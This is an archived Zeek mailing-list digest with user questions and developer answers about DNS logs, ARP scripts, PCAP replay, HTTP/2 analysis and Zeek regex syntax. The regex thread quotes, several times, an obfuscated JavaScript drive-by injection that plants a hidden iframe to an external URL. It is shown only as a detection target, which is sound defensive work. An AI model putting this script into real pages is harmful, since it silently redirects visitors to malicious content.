>> I need Zeek to parse this type field out so I know to look into the
>> domain visited to make sure it is legitimate.
>>
>> Are there any known issues with the DNS parser, or any known solutions to
>> this particular problem?
>> Here is an example generated by navigating to a webpage
>>
>> 1565970799.068532    CK9bYM3SGJHwpPNW12    192.168.100.3    19024    192.168.100.1    53    udp    10896    -
>> rl.ammyy.com    -    -    -    -    0    NOERROR    F    F    F    T    0    188.42.129.148    278.000000    F
>>
>>
>> To the best of my understanding, the field which is marked empty  "-?,  2
>> fields prior to NOERROR field should be ?A?.
>> This works for other instances of traffic I can find in PCAPs from the
>> internet, but not from the ones generated by me capturing local traffic
>> while navigating to the website.
>>
>> Thank you!
>>
>> P.S. if I left out any important information please let me know so I can
>> include it, I?m still new to the IDS
>> _______________________________________________
>> Zeek mailing list
>> zeek at zeek.org
>> http://mailman.ICSI.Berkeley.EDU/mailman/listinfo/zeek
>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190816/dab296cc/attachment.html 

From jsiwek at corelight.com  Fri Aug 16 09:31:57 2019
From: jsiwek at corelight.com (Jon Siwek)
Date: Fri, 16 Aug 2019 09:31:57 -0700
Subject: [Zeek] Zeek/Bro DNS log missing type
In-Reply-To: <CALuqTtXay8Av6=guQzamyWvTg9=c50LsGm3P0aT6LZOpJ7ZS1Q@mail.gmail.com>
References: <CALuqTtXay8Av6=guQzamyWvTg9=c50LsGm3P0aT6LZOpJ7ZS1Q@mail.gmail.com>
Message-ID: <CAMzgZ0JMzveu6Ce3ug1UJoSb+zwZB_o2GMXg-uyKTngWabQ16g@mail.gmail.com>

On Fri, Aug 16, 2019 at 9:18 AM Michael Gez <mgezz66 at gmail.com> wrote:

> If I look using Wireshark with the same PCAP I see that the type ?A? is present, as I would expect it to be.
> However, the resulting Zeek dns.log is missing that field in particular.
> I need Zeek to parse this type field out so I know to look into the domain visited to make sure it is legitimate.
>
> Are there any known issues with the DNS parser, or any known solutions to this particular problem?

Nothing comes to mind.  It's easiest to investigate further if you can
share an example pcap that reproduces the unexpected behavior.

- Jon


From pssunu6 at gmail.com  Sun Aug 18 10:52:37 2019
From: pssunu6 at gmail.com (ps sunu)
Date: Sun, 18 Aug 2019 23:22:37 +0530
Subject: [Zeek] Long session detection script available in zeek ?
Message-ID: <CALGAZaBzvNMYnYD_V4MBTm=HP3x4TcaoFF97tFSKRZFwvoXhNQ@mail.gmail.com>

Any Long session detection script available in zeek ?

Regards,
Sunu
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190818/ead71def/attachment.html 

From jburgess03 at qub.ac.uk  Sun Aug 18 12:21:39 2019
From: jburgess03 at qub.ac.uk (Jonah Burgess)
Date: Sun, 18 Aug 2019 19:21:39 +0000
Subject: [Zeek] Problems with Zeek regex - same pattern working on RegExr
Message-ID: <AM6PR07MB5303FFF755C882A4DC2880DD8EA90@AM6PR07MB5303.eurprd07.prod.outlook.com>

Hi,

Been trying to get a piece of regex to work with Zeek for a couple of days, I am trying to extract the following string:

yDGNWQPxJVs='http:/'+'/bitmp'+'3searc'+'h.in/o'+'5p9hd_'+'j/Zl2A'+'h0B35_'+'D5FfDH'+'INcy';

From the following block of text:

jigsr='navigator';coon3='document';tiltu=window;prod8=tiltu[coon3];tensg=tiltu[jigsr];var wnd=window;yDGNWQPxJVs='http:/'+'/bitmp'+'3searc'+'h.in/o'+'5p9hd_'+'j/Zl2A'+'h0B35_'+'D5FfDH'+'INcy';var doc=wnd.document;OEkQahbGTK=yDGNWQPxJVs;function setCookie(name,value,expires){doc.cookie=name+'='+escape(value)+"; expires="+expires.toGMTString()+"; path=/";return;}function getCookie(name){var cookie=' '+doc.cookie;var search=' '+name+'=';var setStr=null;var offset = 0;var end = 0;if (cookie.length > 0) {offset = cookie.indexOf(search);if (offset != -1) {offset += search.length;end = cookie.indexOf(';', offset);if (end == -1) {end = cookie.length;}setStr = wnd.unescape(cookie.substring(offset, end));}}return setStr;}function UslhyuLiAkJ(){if(!getCookie("BFQPubsjgY")){var expires=new Date();expires.setTime(expires.getTime()+0x5265c00);setCookie("BFQPubsjgY",'6efa5b267ee02fc3e86fc6422fd62e2b',expires);return true}else{return false}}function AjheiSHvrOq(j7r){var w9,f5h,av,l1;l1='onload';av='addEventListener';f5h='attachEvent';w9='DOMContentLoaded';prod8[av]?prod8[av](w9,j7r):window[f5h](l1,j7r)}function jWpkbYMLKS(){var qy;qy='userAgent';return tensg[qy]}function RTANcyPJq(y0l,np1){var p7;p7='test';return y0l[p7](np1)}function hDGVdQzyACP(){var fq;fq=jWpkbYMLKS();return RTANcyPJq(/Win64;/i,fq)||RTANcyPJq(/x64;/i,fq)}function XxIbmUNTRD(){var ai,be;be=(/Trident/i);ai=jWpkbYMLKS();if(!RTANcyPJq(be,ai)){return 0}else{return true}}function YSUTWLtuoX(){var jq6,u0u,l2,hn,r7c,qt7,y1,nmv,fa,bv,ag,cun,zu5,pqe;bv='posi'+'tion:absolut'+'e;left:-15'+'23px;t'+'op:-153'+'7px';nmv='src';y1='iframe';u0u='cssText';l2='getElementsByTagName';cun='body';qt7='width';fa='height';pqe='appendChild';hn='createElement';r7c='style';ag='10';if(UslhyuLiAkJ()&&XxIbmUNTRD()&&!hDGVdQzyACP()){jq6=ag;zu5=prod8[hn](y1);zu5[qt7]=jq6;zu5[fa]=jq6;zu5[r7c][u0u]=bv;zu5[nmv]=OEkQahbGTK;prod8[l2](cun)[0][pqe](zu5)}}AjheiSHvrOq(YSUTWLtuoX);

On https://regexr.com/ I use the regex:

[\d\w]+[\s]*\=[\s]*((\'([\:\/\.\_\-]|[\d\w]|[\s])+\')+([\s]|\+)+)+(\'([\:\/\.\_\-]|[\d\w]|[\s])+\')+\;?

This correctly identifies the string. I?m now trying to get this same regex pattern to work in zeek, I converted the syntax as follows:

local concat = find_all(data, /[:alnum:]+[:space:]*\=[:space:]*((\'([\:\/\.\_\-]|[:alnum:]|[:space:])+\')+([:space:]|\+)+)+(\'([\:\/\.\_\-]|[:alnum:]|[:space:])+\')+\;?/i);

Unfortunately, this is not matching and I can?t understand why not. Logically, it is exactly the same as the regex pattern I?ve tested on RegExr.

It?s a long shot but if anyone can spot what I?m doing wrong, please let me know ??

Thanks,
Jonah
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190818/77dd4184/attachment.html 

From jburgess03 at qub.ac.uk  Sun Aug 18 13:42:27 2019
From: jburgess03 at qub.ac.uk (Jonah Burgess)
Date: Sun, 18 Aug 2019 20:42:27 +0000
Subject: [Zeek] Problems with Zeek regex - same pattern working on RegExr
In-Reply-To: <AM6PR07MB5303FFF755C882A4DC2880DD8EA90@AM6PR07MB5303.eurprd07.prod.outlook.com>
References: <AM6PR07MB5303FFF755C882A4DC2880DD8EA90@AM6PR07MB5303.eurprd07.prod.outlook.com>
Message-ID: <AM6PR07MB530341D38B156A4DF7AEC82F8EA90@AM6PR07MB5303.eurprd07.prod.outlook.com>

Hi,

I fixed this ? for some reason [:alnum:] is not treated the same as [a-z0-9]

Thanks,
Jonah

From: Jonah Burgess<mailto:jburgess03 at qub.ac.uk>
Sent: 18 August 2019 20:31
To: zeek at zeek.org<mailto:zeek at zeek.org>
Subject: [Zeek] Problems with Zeek regex - same pattern working on RegExr

Hi,

Been trying to get a piece of regex to work with Zeek for a couple of days, I am trying to extract the following string:

yDGNWQPxJVs='http:/'+'/bitmp'+'3searc'+'h.in/o'+'5p9hd_'+'j/Zl2A'+'h0B35_'+'D5FfDH'+'INcy';

From the following block of text:

jigsr='navigator';coon3='document';tiltu=window;prod8=tiltu[coon3];tensg=tiltu[jigsr];var wnd=window;yDGNWQPxJVs='http:/'+'/bitmp'+'3searc'+'h.in/o'+'5p9hd_'+'j/Zl2A'+'h0B35_'+'D5FfDH'+'INcy';var doc=wnd.document;OEkQahbGTK=yDGNWQPxJVs;function setCookie(name,value,expires){doc.cookie=name+'='+escape(value)+"; expires="+expires.toGMTString()+"; path=/";return;}function getCookie(name){var cookie=' '+doc.cookie;var search=' '+name+'=';var setStr=null;var offset = 0;var end = 0;if (cookie.length > 0) {offset = cookie.indexOf(search);if (offset != -1) {offset += search.length;end = cookie.indexOf(';', offset);if (end == -1) {end = cookie.length;}setStr = wnd.unescape(cookie.substring(offset, end));}}return setStr;}function UslhyuLiAkJ(){if(!getCookie("BFQPubsjgY")){var expires=new Date();expires.setTime(expires.getTime()+0x5265c00);setCookie("BFQPubsjgY",'6efa5b267ee02fc3e86fc6422fd62e2b',expires);return true}else{return false}}function AjheiSHvrOq(j7r){var w9,f5h,av,l1;l1='onload';av='addEventListener';f5h='attachEvent';w9='DOMContentLoaded';prod8[av]?prod8[av](w9,j7r):window[f5h](l1,j7r)}function jWpkbYMLKS(){var qy;qy='userAgent';return tensg[qy]}function RTANcyPJq(y0l,np1){var p7;p7='test';return y0l[p7](np1)}function hDGVdQzyACP(){var fq;fq=jWpkbYMLKS();return RTANcyPJq(/Win64;/i,fq)||RTANcyPJq(/x64;/i,fq)}function XxIbmUNTRD(){var ai,be;be=(/Trident/i);ai=jWpkbYMLKS();if(!RTANcyPJq(be,ai)){return 0}else{return true}}function YSUTWLtuoX(){var jq6,u0u,l2,hn,r7c,qt7,y1,nmv,fa,bv,ag,cun,zu5,pqe;bv='posi'+'tion:absolut'+'e;left:-15'+'23px;t'+'op:-153'+'7px';nmv='src';y1='iframe';u0u='cssText';l2='getElementsByTagName';cun='body';qt7='width';fa='height';pqe='appendChild';hn='createElement';r7c='style';ag='10';if(UslhyuLiAkJ()&&XxIbmUNTRD()&&!hDGVdQzyACP()){jq6=ag;zu5=prod8[hn](y1);zu5[qt7]=jq6;zu5[fa]=jq6;zu5[r7c][u0u]=bv;zu5[nmv]=OEkQahbGTK;prod8[l2](cun)[0][pqe](zu5)}}AjheiSHvrOq(YSUTWLtuoX);

On https://regexr.com/ I use the regex:

[\d\w]+[\s]*\=[\s]*((\'([\:\/\.\_\-]|[\d\w]|[\s])+\')+([\s]|\+)+)+(\'([\:\/\.\_\-]|[\d\w]|[\s])+\')+\;?

This correctly identifies the string. I?m now trying to get this same regex pattern to work in zeek, I converted the syntax as follows:

local concat = find_all(data, /[:alnum:]+[:space:]*\=[:space:]*((\'([\:\/\.\_\-]|[:alnum:]|[:space:])+\')+([:space:]|\+)+)+(\'([\:\/\.\_\-]|[:alnum:]|[:space:])+\')+\;?/i);

Unfortunately, this is not matching and I can?t understand why not. Logically, it is exactly the same as the regex pattern I?ve tested on RegExr.

It?s a long shot but if anyone can spot what I?m doing wrong, please let me know ??

Thanks,
Jonah
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190818/a9c56e02/attachment-0001.html 

From justin at corelight.com  Sun Aug 18 14:49:17 2019
From: justin at corelight.com (Justin Azoff)
Date: Sun, 18 Aug 2019 17:49:17 -0400
Subject: [Zeek] Long session detection script available in zeek ?
In-Reply-To: <CALGAZaBzvNMYnYD_V4MBTm=HP3x4TcaoFF97tFSKRZFwvoXhNQ@mail.gmail.com>
References: <CALGAZaBzvNMYnYD_V4MBTm=HP3x4TcaoFF97tFSKRZFwvoXhNQ@mail.gmail.com>
Message-ID: <CAPfnCuht9yHU8FwzJ0ugpNuHXmGkbWGtUBb7=iAmsPNWAR3QKA@mail.gmail.com>

https://github.com/corelight/bro-long-connections it's in the package
manager.

On Sun, Aug 18, 2019 at 1:54 PM ps sunu <pssunu6 at gmail.com> wrote:

> Any Long session detection script available in zeek ?
>
> Regards,
> Sunu
> _______________________________________________
> Zeek mailing list
> zeek at zeek.org
> http://mailman.ICSI.Berkeley.EDU/mailman/listinfo/zeek



-- 
Justin
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190818/f9a93542/attachment.html 

From pssunu6 at gmail.com  Sun Aug 18 23:05:57 2019
From: pssunu6 at gmail.com (ps sunu)
Date: Mon, 19 Aug 2019 11:35:57 +0530
Subject: [Zeek] Long session detection script available in zeek ?
In-Reply-To: <CAPfnCuht9yHU8FwzJ0ugpNuHXmGkbWGtUBb7=iAmsPNWAR3QKA@mail.gmail.com>
References: <CALGAZaBzvNMYnYD_V4MBTm=HP3x4TcaoFF97tFSKRZFwvoXhNQ@mail.gmail.com>
	<CAPfnCuht9yHU8FwzJ0ugpNuHXmGkbWGtUBb7=iAmsPNWAR3QKA@mail.gmail.com>
Message-ID: <CALGAZaCmph6_i5J36Ny9P2edk3Dj5pzD0syxkO73zYz3Xv_6xA@mail.gmail.com>

yes thanks everyone

On Mon, Aug 19, 2019 at 3:19 AM Justin Azoff <justin at corelight.com> wrote:

> https://github.com/corelight/bro-long-connections it's in the package
> manager.
>
> On Sun, Aug 18, 2019 at 1:54 PM ps sunu <pssunu6 at gmail.com> wrote:
>
>> Any Long session detection script available in zeek ?
>>
>> Regards,
>> Sunu
>> _______________________________________________
>> Zeek mailing list
>> zeek at zeek.org
>> http://mailman.ICSI.Berkeley.EDU/mailman/listinfo/zeek
>
>
>
> --
> Justin
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190819/fceedf10/attachment.html 

From jburgess03 at qub.ac.uk  Mon Aug 19 09:57:25 2019
From: jburgess03 at qub.ac.uk (Jonah Burgess)
Date: Mon, 19 Aug 2019 16:57:25 +0000
Subject: [Zeek] Unreliable results when replaying PCAPs
Message-ID: <AM6PR07MB5303A4842BF93780941B8A208EA80@AM6PR07MB5303.eurprd07.prod.outlook.com>

Hi,

I?m replaying PCAPs through Zeek and using the HTTP building up maps of URL redirection chains.  I wrote a script which uses bodies.bro to resassemble HTTP bodies and then I use regex to scan for possible HTML/JavaScript/iFrame-based redirections. Now that I have test cases for 400+ PCAPs I?ve identified that Zeek will sometimes fail to resassemble the HTTP body correctly, so regex won?t extract the redirection code..

For some PCAPs this happens ~50% of the time, for others ~10% of the time.. For the majority of PCAPs, this doesn?t occur at all.

If anybody has any ideas what could be causing the inconsistencies, please let me know! Since the PCAPs remain the same between execution attempts, I can?t understand why the results would vary like this.

Thanks,
Jonah
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190819/66182423/attachment.html 

From justin at corelight.com  Mon Aug 19 10:13:18 2019
From: justin at corelight.com (Justin Azoff)
Date: Mon, 19 Aug 2019 13:13:18 -0400
Subject: [Zeek] Unreliable results when replaying PCAPs
In-Reply-To: <AM6PR07MB5303A4842BF93780941B8A208EA80@AM6PR07MB5303.eurprd07.prod.outlook.com>
References: <AM6PR07MB5303A4842BF93780941B8A208EA80@AM6PR07MB5303.eurprd07.prod.outlook.com>
Message-ID: <CAPfnCugzVrFaNJs005iUE8_A+=my0x-gLMB-0mfjK95MNhvWyg@mail.gmail.com>

If you slow down the rate of the pcap replay, do the results become more
consistent?

On Mon, Aug 19, 2019 at 1:00 PM Jonah Burgess <jburgess03 at qub.ac.uk> wrote:

> Hi,
>
>
>
> I?m replaying PCAPs through Zeek and using the HTTP building up maps of
> URL redirection chains.  I wrote a script which uses bodies.bro to
> resassemble HTTP bodies and then I use regex to scan for possible
> HTML/JavaScript/iFrame-based redirections. Now that I have test cases for
> 400+ PCAPs I?ve identified that Zeek will sometimes fail to resassemble the
> HTTP body correctly, so regex won?t extract the redirection code..
>
>
>
> For some PCAPs this happens ~50% of the time, for others ~10% of the
> time.. For the majority of PCAPs, this doesn?t occur at all.
>
>
>
> If anybody has any ideas what could be causing the inconsistencies, please
> let me know! Since the PCAPs remain the same between execution attempts, I
> can?t understand why the results would vary like this.
>
>
>
> Thanks,
>
> Jonah
> _______________________________________________
> Zeek mailing list
> zeek at zeek.org
> http://mailman.ICSI.Berkeley.EDU/mailman/listinfo/zeek



-- 
Justin
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190819/ec05ccc4/attachment.html 

From mgezz66 at gmail.com  Tue Aug 20 07:32:49 2019
From: mgezz66 at gmail.com (Michael Gez)
Date: Tue, 20 Aug 2019 10:32:49 -0400
Subject: [Zeek] Problem with ARP bro analyzer
Message-ID: <CALuqTtWWB1Ln4eNfDS_phab8O3Yp=Se_zUbKPBYjsuWCS5VXiQ@mail.gmail.com>

Hi all,

I've been making use of this script i found online to generate ARP logs:

https://gist.github.com/grigorescu/a28b814a8fb626e2a7b4715d278198aa


As i've been testing the script i noticed sometimes the PCAPs have lines
that the script can't process, and I get these lines as output:

1550819487.247128 expression error in
/usr/local/zeek/share/zeek/base/protocols/arp/./arp_main.zeek, line 206: no
such index (ARP::arp_states[ARP::THA])
1550819487.247129 expression error in
/usr/local/zeek/share/zeek/base/protocols/arp/./arp_main.zeek, line 206: no
such index (ARP::arp_states[ARP::THA])
1550819487.750980 expression error in
/usr/local/zeek/share/zeek/base/protocols/arp/./arp_main.zeek, line 206: no
such index (ARP::arp_states[ARP::THA])
1550819487.750981 expression error in
/usr/local/zeek/share/zeek/base/protocols/arp/./arp_main.zeek, line 206: no
such index (ARP::arp_states[ARP::THA])
1550819489.150965 expression error in
/usr/local/zeek/share/zeek/base/protocols/arp/./arp_main.zeek, line 206: no
such index (ARP::arp_states[ARP::THA])
1550819489.150966 expression error in
/usr/local/zeek/share/zeek/base/protocols/arp/./arp_main.zeek, line 206: no
such index (ARP::arp_states[ARP::THA])


This is an example packet that causes this type of behavior:
https://packettotal.com/app/analysis?id=ccdd36227128010cf7e85f6a452fabbd

If anyone has any idea how to correct this behavior, any help would be
appreciated.

Thank you.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190820/93364a49/attachment.html 

From tim at corelight.com  Tue Aug 20 08:31:35 2019
From: tim at corelight.com (Tim Wojtulewicz)
Date: Tue, 20 Aug 2019 11:31:35 -0400
Subject: [Zeek] Problems with Zeek regex - same pattern working on RegExr
In-Reply-To: <AM6PR07MB530341D38B156A4DF7AEC82F8EA90@AM6PR07MB5303.eurprd07.prod.outlook.com>
References: <AM6PR07MB5303FFF755C882A4DC2880DD8EA90@AM6PR07MB5303.eurprd07.prod.outlook.com>
	<AM6PR07MB530341D38B156A4DF7AEC82F8EA90@AM6PR07MB5303.eurprd07.prod.outlook.com>
Message-ID: <1D13E7A2-1AF3-4078-BF6F-5559D747F95F@corelight.com>

Odd. [:alnum:] calls the C isalnum() method underneath, which should check [a-zA-Z0-9]. Can you write up a GitHub issue for it with a simple test case?

Tim

> On Aug 18, 2019, at 4:42 PM, Jonah Burgess <jburgess03 at qub.ac.uk> wrote:
> 
> Hi, 
>  
> I fixed this ? for some reason [:alnum:] is not treated the same as [a-z0-9]
>  
> Thanks,
> Jonah
>  
> From: Jonah Burgess <mailto:jburgess03 at qub.ac.uk>
> Sent: 18 August 2019 20:31
> To: zeek at zeek.org <mailto:zeek at zeek.org>
> Subject: [Zeek] Problems with Zeek regex - same pattern working on RegExr
>  
> Hi,
>  
> Been trying to get a piece of regex to work with Zeek for a couple of days, I am trying to extract the following string:
>  
> yDGNWQPxJVs='http:/'+'/bitmp'+'3searc'+'h.in/o'+'5p9hd_'+'j/Zl2A'+'h0B35_'+'D5FfDH'+'INcy';
>  
> From the following block of text:
>  
> jigsr='navigator';coon3='document';tiltu=window;prod8=tiltu[coon3];tensg=tiltu[jigsr];var wnd=window;yDGNWQPxJVs='http:/'+'/bitmp'+'3searc'+'h.in/o'+'5p9hd_'+'j/Zl2A'+'h0B35_'+'D5FfDH'+'INcy';var doc=wnd.document;OEkQahbGTK=yDGNWQPxJVs;function setCookie(name,value,expires){doc.cookie=name+'='+escape(value)+"; expires="+expires.toGMTString()+"; path=/";return;}function getCookie(name){var cookie=' '+doc.cookie;var search=' '+name+'=';var setStr=null;var offset = 0;var end = 0;if (cookie.length > 0) {offset = cookie.indexOf(search);if (offset != -1) {offset += search.length;end = cookie.indexOf(';', offset);if (end == -1) {end = cookie.length;}setStr = wnd.unescape(cookie.substring(offset, end));}}return setStr;}function UslhyuLiAkJ(){if(!getCookie("BFQPubsjgY")){var expires=new Date();expires.setTime(expires.getTime()+0x5265c00);setCookie("BFQPubsjgY",'6efa5b267ee02fc3e86fc6422fd62e2b',expires);return true}else{return false}}function AjheiSHvrOq(j7r){var w9,f5h,av,l1;l1='onload';av='addEventListener';f5h='attachEvent';w9='DOMContentLoaded';prod8[av]?prod8[av](w9,j7r):window[f5h](l1,j7r)}function jWpkbYMLKS(){var qy;qy='userAgent';return tensg[qy]}function RTANcyPJq(y0l,np1){var p7;p7='test';return y0l[p7](np1)}function hDGVdQzyACP(){var fq;fq=jWpkbYMLKS();return RTANcyPJq(/Win64;/i,fq)||RTANcyPJq(/x64;/i,fq)}function XxIbmUNTRD(){var ai,be;be=(/Trident/i);ai=jWpkbYMLKS();if(!RTANcyPJq(be,ai)){return 0}else{return true}}function YSUTWLtuoX(){var jq6,u0u,l2,hn,r7c,qt7,y1,nmv,fa,bv,ag,cun,zu5,pqe;bv='posi'+'tion:absolut'+'e;left:-15'+'23px;t'+'op:-153'+'7px';nmv='src';y1='iframe';u0u='cssText';l2='getElementsByTagName';cun='body';qt7='width';fa='height';pqe='appendChild';hn='createElement';r7c='style';ag='10';if(UslhyuLiAkJ()&&XxIbmUNTRD()&&!hDGVdQzyACP()){jq6=ag;zu5=prod8[hn](y1);zu5[qt7]=jq6;zu5[fa]=jq6;zu5[r7c][u0u]=bv;zu5[nmv]=OEkQahbGTK;prod8[l2](cun)[0][pqe](zu5)}}AjheiSHvrOq(YSUTWLtuoX);
>  
> On https://regexr.com/ <https://regexr.com/> I use the regex:
>  
> [\d\w]+[\s]*\=[\s]*((\'([\:\/\.\_\-]|[\d\w]|[\s])+\')+([\s]|\+)+)+(\'([\:\/\.\_\-]|[\d\w]|[\s])+\')+\;?
>  
> This correctly identifies the string. I?m now trying to get this same regex pattern to work in zeek, I converted the syntax as follows:
>  
> local concat = find_all(data, /[:alnum:]+[:space:]*\=[:space:]*((\'([\:\/\.\_\-]|[:alnum:]|[:space:])+\')+([:space:]|\+)+)+(\'([\:\/\.\_\-]|[:alnum:]|[:space:])+\')+\;?/i);
>  
> Unfortunately, this is not matching and I can?t understand why not. Logically, it is exactly the same as the regex pattern I?ve tested on RegExr.
>  
> It?s a long shot but if anyone can spot what I?m doing wrong, please let me know ??
>  
> Thanks,
> Jonah
> _______________________________________________
> Zeek mailing list
> zeek at zeek.org
> http://mailman.ICSI.Berkeley.EDU/mailman/listinfo/zeek

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190820/a716f509/attachment.html 

From ericooi at gmail.com  Wed Aug 21 10:52:41 2019
From: ericooi at gmail.com (Eric Ooi)
Date: Wed, 21 Aug 2019 12:52:41 -0500
Subject: [Zeek] HTTP/2 analyzer
Message-ID: <CAEuvLSbGTL=03AS1v-xk7PYW2L=nin_jR9RfApsAbYt_5_s=QA@mail.gmail.com>

Has anyone tried the HTTP/2 analyzer from MITRE?:
https://github.com/MITRECND/bro-http2

I've installed it but it doesn't seem to generate any http2.log files.  I
have a Palo Alto firewall performing decryption and mirroring this
decrypted traffic to my Zeek sensor.  Zeek has no issue analyzing the
decrypted HTTP/1.1 traffic but I haven't yet seen decrypted HTTP/2 traffic
show up which is what the majority of my decrypted traffic seems to be.

Curious if anyone else has tried this or if the developers of the plugin
are on the list for me to bug. :P

Thanks!
Eric
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190821/29b71975/attachment.html 

From mkhan at mitre.org  Wed Aug 21 11:09:50 2019
From: mkhan at mitre.org (Khan, Murad A.)
Date: Wed, 21 Aug 2019 18:09:50 +0000
Subject: [Zeek] [EXT]  HTTP/2 analyzer
In-Reply-To: <16140_1566410201_5D5D85D9_16140_209_2_CAEuvLSbGTL=03AS1v-xk7PYW2L=nin_jR9RfApsAbYt_5_s=QA@mail.gmail.com>
References: <16140_1566410201_5D5D85D9_16140_209_2_CAEuvLSbGTL=03AS1v-xk7PYW2L=nin_jR9RfApsAbYt_5_s=QA@mail.gmail.com>
Message-ID: <CC2D26DD-F359-42FF-9EC8-4C4D873FBDEA@mitre.org>

Afaik, the Palo?s downgrade traffic to HTTP 1.1 by manipulating the TLS exchange ? so you might not even see any HTTP/2 traffic. Iirc adding support for HTTP/2 was on their roadmap but not a high priority.

You can check if you actually have HTTP/2 negotiated connections by monitoring the pre-decrypted traffic and looking for the negotiated protocol in the ssl.log. The ALPN designator for standard http2 is ?h2?.


From: <zeek-bounces at zeek.org> on behalf of Eric Ooi <ericooi at gmail.com>
Date: Wednesday, August 21, 2019 at 1:57 PM
To: "zeek at zeek.org" <zeek at zeek.org>
Subject: [EXT] [Zeek] HTTP/2 analyzer

Has anyone tried the HTTP/2 analyzer from MITRE?: https://github.com/MITRECND/bro-http2

I've installed it but it doesn't seem to generate any http2.log files.  I have a Palo Alto firewall performing decryption and mirroring this decrypted traffic to my Zeek sensor.  Zeek has no issue analyzing the decrypted HTTP/1.1 traffic but I haven't yet seen decrypted HTTP/2 traffic show up which is what the majority of my decrypted traffic seems to be.

Curious if anyone else has tried this or if the developers of the plugin are on the list for me to bug. :P

Thanks!
Eric
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190821/eb744c11/attachment.html 

From ericooi at gmail.com  Wed Aug 21 11:39:06 2019
From: ericooi at gmail.com (Eric Ooi)
Date: Wed, 21 Aug 2019 13:39:06 -0500
Subject: [Zeek] [EXT]  HTTP/2 analyzer
In-Reply-To: <CC2D26DD-F359-42FF-9EC8-4C4D873FBDEA@mitre.org>
References: <16140_1566410201_5D5D85D9_16140_209_2_CAEuvLSbGTL=03AS1v-xk7PYW2L=nin_jR9RfApsAbYt_5_s=QA@mail.gmail.com>
	<CC2D26DD-F359-42FF-9EC8-4C4D873FBDEA@mitre.org>
Message-ID: <BCCC5FB7-A568-42F2-9E4E-291AB8829A37@gmail.com>

Thanks, Murad! I checked ssl.log and do see a good amount of traffic with ?h2? listed, so it looks like I?m definitely seeing this on my network.

Only reason I believe that Palo is still sending it as HTTP/2 traffic is because the monitor tab has a ?HTTP/2 Connection Session ID? and each line entry that has a non-zero value for that field seems to be missing a corresponding log in Zeek.  Whereas anytime there?s a zero value in that column, presumably denoting HTTP/1.1 traffic, Zeek is able to analyze it successfully.

It?s not a big deal, but I was so excited to have Zeek analyze my decrypted traffic only to find that most of it is HTTP/2.  I suppose I?ll wait for the official analyzer or learn how to write one myself. :P

Thanks,
Eric


> On Aug 21, 2019, at 1:09 PM, Khan, Murad A. <mkhan at mitre.org> wrote:
> 
> Afaik, the Palo?s downgrade traffic to HTTP 1.1 by manipulating the TLS exchange ? so you might not even see any HTTP/2 traffic. Iirc adding support for HTTP/2 was on their roadmap but not a high priority.
>  
> You can check if you actually have HTTP/2 negotiated connections by monitoring the pre-decrypted traffic and looking for the negotiated protocol in the ssl.log. The ALPN designator for standard http2 is ?h2?.
>  
>  
> From: <zeek-bounces at zeek.org <mailto:zeek-bounces at zeek.org>> on behalf of Eric Ooi <ericooi at gmail.com <mailto:ericooi at gmail.com>>
> Date: Wednesday, August 21, 2019 at 1:57 PM
> To: "zeek at zeek.org <mailto:zeek at zeek.org>" <zeek at zeek.org <mailto:zeek at zeek.org>>
> Subject: [EXT] [Zeek] HTTP/2 analyzer
>  
> Has anyone tried the HTTP/2 analyzer from MITRE?: https://github.com/MITRECND/bro-http2 <https://github.com/MITRECND/bro-http2>
>  
> I've installed it but it doesn't seem to generate any http2.log files.  I have a Palo Alto firewall performing decryption and mirroring this decrypted traffic to my Zeek sensor.  Zeek has no issue analyzing the decrypted HTTP/1.1 traffic but I haven't yet seen decrypted HTTP/2 traffic show up which is what the majority of my decrypted traffic seems to be.
>  
> Curious if anyone else has tried this or if the developers of the plugin are on the list for me to bug. :P
>  
> Thanks!
> Eric

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190821/d1da6800/attachment-0001.html 

From mkhan at mitre.org  Wed Aug 21 11:54:54 2019
From: mkhan at mitre.org (Khan, Murad A.)
Date: Wed, 21 Aug 2019 18:54:54 +0000
Subject: [Zeek] [EXT]  HTTP/2 analyzer
In-Reply-To: <BCCC5FB7-A568-42F2-9E4E-291AB8829A37@gmail.com>
References: <16140_1566410201_5D5D85D9_16140_209_2_CAEuvLSbGTL=03AS1v-xk7PYW2L=nin_jR9RfApsAbYt_5_s=QA@mail.gmail.com>
	<CC2D26DD-F359-42FF-9EC8-4C4D873FBDEA@mitre.org>
	<BCCC5FB7-A568-42F2-9E4E-291AB8829A37@gmail.com>
Message-ID: <2DB4F7D9-6422-41DA-9CA0-745108C1CC03@mitre.org>

Weird. I?d recommend opening an issue on github, if you can. Ideally, if you can provide a pcap, it?ll help with troubleshooting. But there are other things we can check.


From: Eric Ooi <ericooi at gmail.com>
Date: Wednesday, August 21, 2019 at 2:40 PM
To: Murad Khan <mkhan at mitre.org>
Cc: "zeek at zeek.org" <zeek at zeek.org>
Subject: Re: [EXT] [Zeek] HTTP/2 analyzer

Thanks, Murad! I checked ssl.log and do see a good amount of traffic with ?h2? listed, so it looks like I?m definitely seeing this on my network.

